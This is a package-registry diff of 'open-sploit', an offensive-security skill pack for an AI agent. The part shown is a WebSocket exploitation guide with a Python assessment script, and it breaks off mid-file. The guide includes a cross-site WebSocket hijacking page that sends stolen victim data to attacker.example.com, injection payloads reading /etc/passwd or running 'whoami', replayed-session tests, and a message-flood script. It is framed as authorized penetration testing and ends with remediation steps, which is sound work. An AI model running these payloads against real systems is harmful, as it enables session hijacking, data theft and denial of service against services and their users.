open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,424 @@
1
+ ---
2
+ name: exploiting-websocket-vulnerabilities
3
+ description: Testing WebSocket implementations for authentication bypass, cross-site
4
+ hijacking, injection attacks, and insecure message handling during authorized security
5
+ assessments.
6
+ domain: cybersecurity
7
+ subdomain: web-application-security
8
+ tags:
9
+ - penetration-testing
10
+ - websocket
11
+ - web-security
12
+ - owasp
13
+ - real-time
14
+ - burpsuite
15
+ version: '1.0'
16
+ author: mahipal
17
+ license: Apache-2.0
18
+ nist_csf:
19
+ - PR.PS-01
20
+ - ID.RA-01
21
+ - PR.DS-10
22
+ - DE.CM-01
23
+ mitre_attack:
24
+ - T1190
25
+ - T1059.007
26
+ - T1505.003
27
+ - T1083
28
+ - T1055
29
+ ---
30
+
31
+ # Exploiting WebSocket Vulnerabilities
32
+
33
+ ## When to Use
34
+
35
+ - During authorized penetration tests when the application uses WebSocket connections for real-time features
36
+ - When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
37
+ - For testing WebSocket API endpoints for authentication and authorization flaws
38
+ - When evaluating real-time data streams for injection vulnerabilities
39
+ - During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs
40
+
41
+ ## Prerequisites
42
+
43
+ - **Authorization**: Written penetration testing agreement covering WebSocket testing
44
+ - **Burp Suite Professional**: With WebSocket interception capability
45
+ - **Browser DevTools**: Network tab for WebSocket frame inspection
46
+ - **websocat**: Command-line WebSocket client (`cargo install websocat`)
47
+ - **wscat**: Node.js WebSocket client (`npm install -g wscat`)
48
+ - **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)
49
+
50
+ ## Workflow
51
+
52
+ ### Step 1: Discover and Enumerate WebSocket Endpoints
53
+
54
+ Identify WebSocket connections in the application.
55
+
56
+ ```bash
57
+ # Check for WebSocket upgrade in response headers
58
+ curl -s -I \
59
+ -H "Upgrade: websocket" \
60
+ -H "Connection: Upgrade" \
61
+ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
62
+ -H "Sec-WebSocket-Version: 13" \
63
+ "https://target.example.com/ws"
64
+
65
+ # Common WebSocket endpoint paths
66
+ for path in /ws /websocket /socket /socket.io /signalr /hub \
67
+ /chat /notifications /live /stream /realtime /api/ws; do
68
+ echo -n "$path: "
69
+ status=$(curl -s -o /dev/null -w "%{http_code}" \
70
+ -H "Upgrade: websocket" \
71
+ -H "Connection: Upgrade" \
72
+ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
73
+ -H "Sec-WebSocket-Version: 13" \
74
+ "https://target.example.com$path")
75
+ echo "$status"
76
+ done
77
+
78
+ # Check for Socket.IO
79
+ curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
80
+
81
+ # Check for SignalR
82
+ curl -s "https://target.example.com/signalr/negotiate"
83
+
84
+ # In browser DevTools:
85
+ # Network tab > Filter: WS
86
+ # Look for ws:// or wss:// connections
87
+ # Examine the upgrade request and WebSocket frames
88
+ ```
89
+
90
+ ### Step 2: Test WebSocket Authentication
91
+
92
+ Verify that WebSocket connections require proper authentication.
93
+
94
+ ```bash
95
+ # Test connection without authentication
96
+ wscat -c "wss://target.example.com/ws"
97
+ # If connection succeeds without tokens, auth is missing
98
+
99
+ # Test with expired/invalid token
100
+ wscat -c "wss://target.example.com/ws" \
101
+ -H "Cookie: session=invalid_or_expired_token"
102
+
103
+ # Test connection with stolen/replayed session
104
+ wscat -c "wss://target.example.com/ws" \
105
+ -H "Cookie: session=valid_session_from_another_user"
106
+
107
+ # Test token in WebSocket URL parameter
108
+ wscat -c "wss://target.example.com/ws?token=invalid_token"
109
+
110
+ # Test if authentication is only checked at connection time
111
+ # Connect with valid token, then check if messages still work
112
+ # after the token expires or the user logs out
113
+
114
+ # Using Python for automated testing
115
+ python3 << 'PYEOF'
116
+ import asyncio
117
+ import websockets
118
+
119
+ async def test_no_auth():
120
+ try:
121
+ async with websockets.connect("wss://target.example.com/ws") as ws:
122
+ print("Connected WITHOUT authentication!")
123
+ # Try sending a message
124
+ await ws.send('{"type":"get_data","resource":"users"}')
125
+ response = await ws.recv()
126
+ print(f"Response: {response}")
127
+ except Exception as e:
128
+ print(f"Connection failed: {e}")
129
+
130
+ asyncio.run(test_no_auth())
131
+ PYEOF
132
+ ```
133
+
134
+ ### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)
135
+
136
+ Check if the WebSocket handshake is vulnerable to cross-site attacks.
137
+
138
+ ```bash
139
+ # Check Origin header validation on WebSocket upgrade
140
+ curl -s -I \
141
+ -H "Upgrade: websocket" \
142
+ -H "Connection: Upgrade" \
143
+ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
144
+ -H "Sec-WebSocket-Version: 13" \
145
+ -H "Origin: https://evil.example.com" \
146
+ "https://target.example.com/ws"
147
+ # If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
148
+ # If 403: Origin validation is working
149
+ ```
150
+
151
+ ```html
152
+ <!-- Cross-Site WebSocket Hijacking PoC -->
153
+ <!-- Host on attacker-controlled server -->
154
+ <html>
155
+ <head><title>CSWSH PoC</title></head>
156
+ <body>
157
+ <h1>Cross-Site WebSocket Hijacking</h1>
158
+ <div id="messages"></div>
159
+ <script>
160
+ // This connects to the target's WebSocket using the victim's cookies
161
+ var ws = new WebSocket("wss://target.example.com/ws");
162
+
163
+ ws.onopen = function() {
164
+ console.log("WebSocket connected (using victim's session)");
165
+ // Request sensitive data through the WebSocket
166
+ ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
167
+ ws.send(JSON.stringify({type: "get_profile"}));
168
+ };
169
+
170
+ ws.onmessage = function(event) {
171
+ console.log("Data stolen: " + event.data);
172
+ document.getElementById("messages").innerText += event.data + "\n";
173
+
174
+ // Exfiltrate to attacker server
175
+ fetch("https://attacker.example.com/collect", {
176
+ method: "POST",
177
+ body: event.data
178
+ });
179
+ };
180
+
181
+ ws.onerror = function(error) {
182
+ console.log("WebSocket error: " + error);
183
+ };
184
+ </script>
185
+ </body>
186
+ </html>
187
+ ```
188
+
189
+ ### Step 4: Test WebSocket Message Injection
190
+
191
+ Assess WebSocket messages for injection vulnerabilities.
192
+
193
+ ```bash
194
+ # Using wscat for manual message injection testing
195
+ wscat -c "wss://target.example.com/ws" \
196
+ -H "Cookie: session=valid_session_token"
197
+
198
+ # Once connected, send test messages:
199
+
200
+ # SQL injection in WebSocket message
201
+ # > {"action":"search","query":"' OR 1=1--"}
202
+
203
+ # XSS payload in chat message
204
+ # > {"type":"message","content":"<script>alert(document.cookie)</script>"}
205
+ # > {"type":"message","content":"<img src=x onerror=alert(1)>"}
206
+
207
+ # Command injection
208
+ # > {"action":"ping","host":"127.0.0.1; whoami"}
209
+
210
+ # Path traversal
211
+ # > {"action":"read_file","path":"../../../etc/passwd"}
212
+
213
+ # IDOR in WebSocket messages
214
+ # > {"action":"get_messages","channel_id":1}
215
+ # > {"action":"get_messages","channel_id":2} (another user's channel)
216
+
217
+ # Automated injection testing with Python
218
+ python3 << 'PYEOF'
219
+ import asyncio
220
+ import websockets
221
+ import json
222
+
223
+ PAYLOADS = [
224
+ {"action": "search", "query": "' OR 1=1--"},
225
+ {"action": "search", "query": "<script>alert(1)</script>"},
226
+ {"action": "search", "query": "{{7*7}}"},
227
+ {"action": "search", "query": "${7*7}"},
228
+ {"action": "read", "file": "../../../etc/passwd"},
229
+ {"action": "exec", "cmd": "; whoami"},
230
+ ]
231
+
232
+ async def test_injections():
233
+ async with websockets.connect(
234
+ "wss://target.example.com/ws",
235
+ extra_headers={"Cookie": "session=valid_token"}
236
+ ) as ws:
237
+ for payload in PAYLOADS:
238
+ await ws.send(json.dumps(payload))
239
+ try:
240
+ response = await asyncio.wait_for(ws.recv(), timeout=5)
241
+ print(f"Payload: {json.dumps(payload)}")
242
+ print(f"Response: {response}\n")
243
+ except asyncio.TimeoutError:
244
+ print(f"Timeout for: {json.dumps(payload)}\n")
245
+
246
+ asyncio.run(test_injections())
247
+ PYEOF
248
+ ```
249
+
250
+ ### Step 5: Test WebSocket Authorization and Rate Limiting
251
+
252
+ Check if message-level authorization and abuse controls are enforced.
253
+
254
+ ```bash
255
+ # Test accessing other users' data via WebSocket
256
+ python3 << 'PYEOF'
257
+ import asyncio
258
+ import websockets
259
+ import json
260
+
261
+ async def test_authz():
262
+ async with websockets.connect(
263
+ "wss://target.example.com/ws",
264
+ extra_headers={"Cookie": "session=user_a_session"}
265
+ ) as ws:
266
+ # Try accessing User B's private data
267
+ messages = [
268
+ {"type": "subscribe", "channel": "user_b_private"},
269
+ {"type": "get_history", "user_id": "user_b_id"},
270
+ {"type": "admin_action", "action": "list_users"},
271
+ {"type": "send_message", "to": "admin", "as": "admin"},
272
+ ]
273
+ for msg in messages:
274
+ await ws.send(json.dumps(msg))
275
+ try:
276
+ response = await asyncio.wait_for(ws.recv(), timeout=5)
277
+ print(f"Sent: {json.dumps(msg)}")
278
+ print(f"Received: {response}\n")
279
+ except asyncio.TimeoutError:
280
+ print(f"No response for: {json.dumps(msg)}\n")
281
+
282
+ asyncio.run(test_authz())
283
+ PYEOF
284
+
285
+ # Test rate limiting on WebSocket messages
286
+ python3 << 'PYEOF'
287
+ import asyncio
288
+ import websockets
289
+ import json
290
+ import time
291
+
292
+ async def test_rate_limit():
293
+ async with websockets.connect(
294
+ "wss://target.example.com/ws",
295
+ extra_headers={"Cookie": "session=valid_token"}
296
+ ) as ws:
297
+ start = time.time()
298
+ for i in range(1000):
299
+ await ws.send(json.dumps({
300
+ "type": "message",
301
+ "content": f"Flood message {i}"
302
+ }))
303
+ elapsed = time.time() - start
304
+ print(f"Sent 1000 messages in {elapsed:.2f} seconds")
305
+ print("If no rate limiting, DoS is possible")
306
+
307
+ asyncio.run(test_rate_limit())
308
+ PYEOF
309
+ ```
310
+
311
+ ### Step 6: Test WebSocket Encryption and Protocol Security
312
+
313
+ Verify transport security and protocol-level protections.
314
+
315
+ ```bash
316
+ # Check if WebSocket uses WSS (encrypted) or WS (plaintext)
317
+ # WS (ws://) traffic can be intercepted by network attackers
318
+
319
+ # Check for mixed protocols
320
+ # Application on HTTPS but WebSocket on WS = insecure
321
+ curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
322
+ # Should only find wss:// (encrypted WebSocket)
323
+
324
+ # Test Sec-WebSocket-Protocol header handling
325
+ wscat -c "wss://target.example.com/ws" \
326
+ -H "Sec-WebSocket-Protocol: admin-protocol"
327
+
328
+ # Test for compression side-channel (CRIME-like attacks)
329
+ # Check if Sec-WebSocket-Extensions includes permessage-deflate
330
+ curl -s -I \
331
+ -H "Upgrade: websocket" \
332
+ -H "Connection: Upgrade" \
333
+ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
334
+ -H "Sec-WebSocket-Version: 13" \
335
+ -H "Sec-WebSocket-Extensions: permessage-deflate" \
336
+ "https://target.example.com/ws" | grep -i "sec-websocket-extensions"
337
+ # permessage-deflate with secrets in messages can leak data via compression
338
+
339
+ # Test WebSocket connection persistence
340
+ # Check if server implements proper timeouts and connection limits
341
+ ```
342
+
343
+ ## Key Concepts
344
+
345
+ | Concept | Description |
346
+ |---------|-------------|
347
+ | **WebSocket Handshake** | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |
348
+ | **CSWSH** | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |
349
+ | **Origin Validation** | Server-side check that the WebSocket upgrade request comes from a trusted origin |
350
+ | **Message-level Authorization** | Verifying permissions for each WebSocket message, not just at connection time |
351
+ | **WSS** | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |
352
+ | **Socket.IO** | Popular WebSocket library with automatic fallback to HTTP long-polling |
353
+ | **Ping/Pong Frames** | WebSocket keepalive mechanism; can be abused for timing attacks |
354
+
355
+ ## Tools & Systems
356
+
357
+ | Tool | Purpose |
358
+ |------|---------|
359
+ | **Burp Suite Professional** | WebSocket interception, modification, and history analysis |
360
+ | **wscat** | Command-line WebSocket client for manual testing |
361
+ | **websocat** | Versatile command-line WebSocket client written in Rust |
362
+ | **Browser DevTools** | Network tab WS filter for inspecting WebSocket frames |
363
+ | **Socket.IO Client** | Testing Socket.IO-based WebSocket implementations |
364
+ | **Python websockets** | Scripting automated WebSocket attack sequences |
365
+
366
+ ## Common Scenarios
367
+
368
+ ### Scenario 1: Chat Application CSWSH
369
+ A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.
370
+
371
+ ### Scenario 2: Trading Platform Message Injection
372
+ A trading platform processes WebSocket messages containing order parameters. SQL injection in the `symbol` field of an order message allows extracting the entire order database through error-based SQLi.
373
+
374
+ ### Scenario 3: Missing Message Authorization
375
+ A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.
376
+
377
+ ### Scenario 4: Notification Channel IDOR
378
+ A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.
379
+
380
+ ## Output Format
381
+
382
+ ```
383
+ ## WebSocket Security Assessment Report
384
+
385
+ **Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
386
+ **Severity**: High (CVSS 8.1)
387
+ **Location**: wss://target.example.com/ws
388
+ **OWASP Category**: A01:2021 - Broken Access Control
389
+
390
+ ### WebSocket Configuration
391
+ | Property | Value |
392
+ |----------|-------|
393
+ | Protocol | WSS (encrypted) |
394
+ | Library | Socket.IO 4.x |
395
+ | Authentication | Cookie-based session |
396
+ | Origin Validation | NOT ENFORCED |
397
+ | Message Authorization | NOT ENFORCED |
398
+ | Rate Limiting | NOT IMPLEMENTED |
399
+
400
+ ### Findings
401
+ | Finding | Severity |
402
+ |---------|----------|
403
+ | CSWSH - No Origin validation | High |
404
+ | Missing message-level authorization | High |
405
+ | XSS via chat message injection | Medium |
406
+ | No rate limiting on messages | Medium |
407
+ | Channel IDOR (subscribe to any channel) | High |
408
+ | WebSocket open after logout | Medium |
409
+
410
+ ### Impact
411
+ - Private message exfiltration via CSWSH
412
+ - Account impersonation through unauthorized message sending
413
+ - Cross-channel data access affecting all users
414
+ - DoS via message flooding (no rate limits)
415
+
416
+ ### Recommendation
417
+ 1. Validate the Origin header during WebSocket handshake
418
+ 2. Implement CSRF tokens in the WebSocket upgrade request
419
+ 3. Enforce authorization checks on every WebSocket message
420
+ 4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
421
+ 5. Implement message rate limiting per connection
422
+ 6. Invalidate WebSocket connections on logout or session expiration
423
+ 7. Use per-message authentication tokens rather than relying solely on the initial handshake
424
+ ```
@@ -0,0 +1,62 @@
1
+ # API Reference: WebSocket Vulnerability Assessment Agent
2
+
3
+ ## Dependencies
4
+
5
+ | Library | Version | Purpose |
6
+ |---------|---------|---------|
7
+ | websockets | >=11.0 | Async WebSocket client for connection and message testing |
8
+ | requests | >=2.28 | HTTP-level WebSocket handshake inspection |
9
+
10
+ ## CLI Usage
11
+
12
+ ```bash
13
+ python scripts/agent.py \
14
+ --url wss://target.example.com/ws \
15
+ --cookie "session=abc123" \
16
+ --output ws_report.json
17
+ ```
18
+
19
+ ## Functions
20
+
21
+ ### `discover_ws_endpoints(base_url) -> list`
22
+ Probes 9 common WebSocket paths with upgrade headers to find endpoints.
23
+
24
+ ### `test_origin_validation(ws_url, cookie) -> dict`
25
+ Sends WebSocket upgrade requests with evil Origin headers. Acceptance indicates CSWSH risk.
26
+
27
+ ### `test_no_auth_connect(ws_url) -> dict` (async)
28
+ Attempts WebSocket connection without any authentication tokens.
29
+
30
+ ### `test_message_injection(ws_url, cookie) -> list` (async)
31
+ Sends 6 injection payloads (SQLi, XSS, SSTI, path traversal, command injection) and checks responses.
32
+
33
+ ### `test_idor_channels(ws_url, cookie, channel_ids) -> list` (async)
34
+ Subscribes to channels 1-5 to test for IDOR in channel access.
35
+
36
+ ### `test_rate_limiting(ws_url, cookie, count) -> dict` (async)
37
+ Sends 100 rapid messages and checks if the connection is throttled or closed.
38
+
39
+ ### `run_assessment(ws_url, cookie) -> dict`
40
+ Orchestrates all tests and compiles findings.
41
+
42
+ ## websockets Library Usage
43
+
44
+ | Method | Purpose |
45
+ |--------|---------|
46
+ | `websockets.connect(url, extra_headers)` | Async context manager for WS connection |
47
+ | `ws.send(data)` | Send a text frame |
48
+ | `ws.recv()` | Receive next frame |
49
+ | `asyncio.wait_for(ws.recv(), timeout)` | Receive with timeout |
50
+
51
+ ## Output Schema
52
+
53
+ ```json
54
+ {
55
+ "target": "wss://target.example.com/ws",
56
+ "origin_validation": {"cswsh_vulnerable": true},
57
+ "unauthenticated_access": {"connected": false},
58
+ "injection_tests": [{"payload": {"query": "' OR 1=1--"}, "suspicious": true}],
59
+ "rate_limiting": {"rate_limited": false},
60
+ "findings": ["HIGH: Cross-Site WebSocket Hijacking possible"]
61
+ }
62
+ ```
@@ -0,0 +1,211 @@
1
+ #!/usr/bin/env python3
2
+ # For authorized testing in lab/CTF environments only
3
+ """WebSocket vulnerability assessment agent using websockets and requests."""
4
+
5
+ import argparse
6
+ import asyncio
7
+ import json
8
+ import logging
9
+ import sys
10
+ from typing import List, Optional
11
+
12
+ try:
13
+ import websockets
14
+ except ImportError:
15
+ sys.exit("websockets is required: pip install websockets")
16
+
17
+ try:
18
+ import requests
19
+ except ImportError:
20
+ sys.exit("requests is required: pip install requests")
21
+
22
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
23
+ logger = logging.getLogger(__name__)
24
+
25
+
26
+ def discover_ws_endpoints(base_url: str) -> List[dict]:
27
+ """Probe common WebSocket endpoint paths."""
28
+ paths = ["/ws", "/websocket", "/socket", "/socket.io/?EIO=4&transport=polling",
29
+ "/signalr/negotiate", "/chat", "/notifications", "/live", "/api/ws"]
30
+ found = []
31
+ for path in paths:
32
+ try:
33
+ resp = requests.get(f"{base_url}{path}", timeout=5, verify=False,
34
+ headers={"Upgrade": "websocket", "Connection": "Upgrade",
35
+ "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
36
+ "Sec-WebSocket-Version": "13"})
37
+ if resp.status_code in (101, 200, 400):
38
+ found.append({"path": path, "status": resp.status_code})
39
+ except requests.RequestException:
40
+ continue
41
+ logger.info("Found %d potential WebSocket endpoints", len(found))
42
+ return found
43
+
44
+
45
+ def test_origin_validation(ws_url: str, cookie: str = "") -> dict:
46
+ """Test if the WebSocket server validates the Origin header."""
47
+ evil_origins = ["https://evil.example.com", "https://attacker.com", "null"]
48
+ results = []
49
+ for origin in evil_origins:
50
+ headers = {"Origin": origin}
51
+ if cookie:
52
+ headers["Cookie"] = cookie
53
+ try:
54
+ resp = requests.get(
55
+ ws_url.replace("wss://", "https://").replace("ws://", "http://"),
56
+ headers={**headers, "Upgrade": "websocket", "Connection": "Upgrade",
57
+ "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
58
+ "Sec-WebSocket-Version": "13"},
59
+ timeout=5, verify=False,
60
+ )
61
+ results.append({
62
+ "origin": origin,
63
+ "status_code": resp.status_code,
64
+ "accepted": resp.status_code == 101,
65
+ })
66
+ except requests.RequestException as exc:
67
+ results.append({"origin": origin, "error": str(exc)})
68
+
69
+ cswsh_vulnerable = any(r.get("accepted") for r in results)
70
+ return {"test": "origin_validation", "results": results, "cswsh_vulnerable": cswsh_vulnerable}
71
+
72
+
73
+ async def test_no_auth_connect(ws_url: str) -> dict:
74
+ """Test if WebSocket connection succeeds without authentication."""
75
+ try:
76
+ async with websockets.connect(ws_url, open_timeout=5) as ws:
77
+ return {"test": "no_auth", "connected": True, "risk": "HIGH"}
78
+ except Exception as exc:
79
+ return {"test": "no_auth", "connected": False, "error": str(exc)}
80
+
81
+
82
+ async def test_message_injection(ws_url: str, cookie: str = "") -> List[dict]:
83
+ """Test WebSocket messages for injection vulnerabilities."""
84
+ injection_payloads = [
85
+ {"action": "search", "query": "' OR 1=1--"},
86
+ {"action": "search", "query": "<script>alert(1)</script>"},
87
+ {"action": "search", "query": "{{7*7}}"},
88
+ {"action": "search", "query": "${7*7}"},
89
+ {"action": "read", "file": "../../../etc/passwd"},
90
+ {"action": "exec", "cmd": "; whoami"},
91
+ ]
92
+ headers = {}
93
+ if cookie:
94
+ headers["Cookie"] = cookie
95
+
96
+ results = []
97
+ try:
98
+ async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
99
+ for payload in injection_payloads:
100
+ await ws.send(json.dumps(payload))
101
+ try:
102
+ response = await asyncio.wait_for(ws.recv(), timeout=5)
103
+ results.append({
104
+ "payload": payload,
105
+ "response": response[:300],
106
+ "suspicious": any(kw in response.lower() for kw in
107
+ ["error", "sql", "root:", "uid=", "49"]),
108
+ })
109
+ except asyncio.TimeoutError:
110
+ results.append({"payload": payload, "response": "TIMEOUT"})
111
+ except Exception as exc:
112
+ results.append({"error": str(exc)})
113
+
114
+ return results
115
+
116
+
117
+ async def test_idor_channels(ws_url: str, cookie: str = "",
118
+ channel_ids: Optional[List[int]] = None) -> List[dict]:
119
+ """Test for IDOR by subscribing to other users' channels."""
120
+ ids = channel_ids or list(range(1, 6))
121
+ results = []
122
+ headers = {"Cookie": cookie} if cookie else {}
123
+ try:
124
+ async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
125
+ for cid in ids:
126
+ msg = json.dumps({"type": "subscribe", "channel_id": cid})
127
+ await ws.send(msg)
128
+ try:
129
+ resp = await asyncio.wait_for(ws.recv(), timeout=5)
130
+ results.append({"channel_id": cid, "response": resp[:200], "accessible": "error" not in resp.lower()})
131
+ except asyncio.TimeoutError:
132
+ results.append({"channel_id": cid, "response": "TIMEOUT"})
133
+ except Exception as exc:
134
+ results.append({"error": str(exc)})
135
+ return results
136
+
137
+
138
+ async def test_rate_limiting(ws_url: str, cookie: str = "", count: int = 100) -> dict:
139
+ """Test if message rate limiting is enforced."""
140
+ import time
141
+ headers = {"Cookie": cookie} if cookie else {}
142
+ try:
143
+ async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
144
+ start = time.time()
145
+ sent = 0
146
+ for i in range(count):
147
+ try:
148
+ await ws.send(json.dumps({"type": "ping", "seq": i}))
149
+ sent += 1
150
+ except websockets.ConnectionClosed:
151
+ break
152
+ elapsed = time.time() - start
153
+ return {
154
+ "test": "rate_limiting",
155
+ "messages_sent": sent,
156
+ "target_count": count,
157
+ "elapsed_seconds": round(elapsed, 2),
158
+ "rate_limited": sent < count,
159
+ }
160
+ except Exception as exc:
161
+ return {"test": "rate_limiting", "error": str(exc)}
162
+
163
+
164
+ def run_assessment(ws_url: str, cookie: str = "") -> dict:
165
+ """Run complete WebSocket security assessment."""
166
+ origin_test = test_origin_validation(ws_url, cookie)
167
+
168
+ loop = asyncio.new_event_loop()
169
+ no_auth = loop.run_until_complete(test_no_auth_connect(ws_url))
170
+ injections = loop.run_until_complete(test_message_injection(ws_url, cookie))
171
+ idor = loop.run_until_complete(test_idor_channels(ws_url, cookie))
172
+ rate = loop.run_until_complete(test_rate_limiting(ws_url, cookie))
173
+ loop.close()
174
+
175
+ findings = []
176
+ if origin_test.get("cswsh_vulnerable"):
177
+ findings.append("HIGH: Cross-Site WebSocket Hijacking possible (no Origin validation)")
178
+ if no_auth.get("connected"):
179
+ findings.append("HIGH: WebSocket accepts unauthenticated connections")
180
+ if any(i.get("suspicious") for i in injections if isinstance(i, dict)):
181
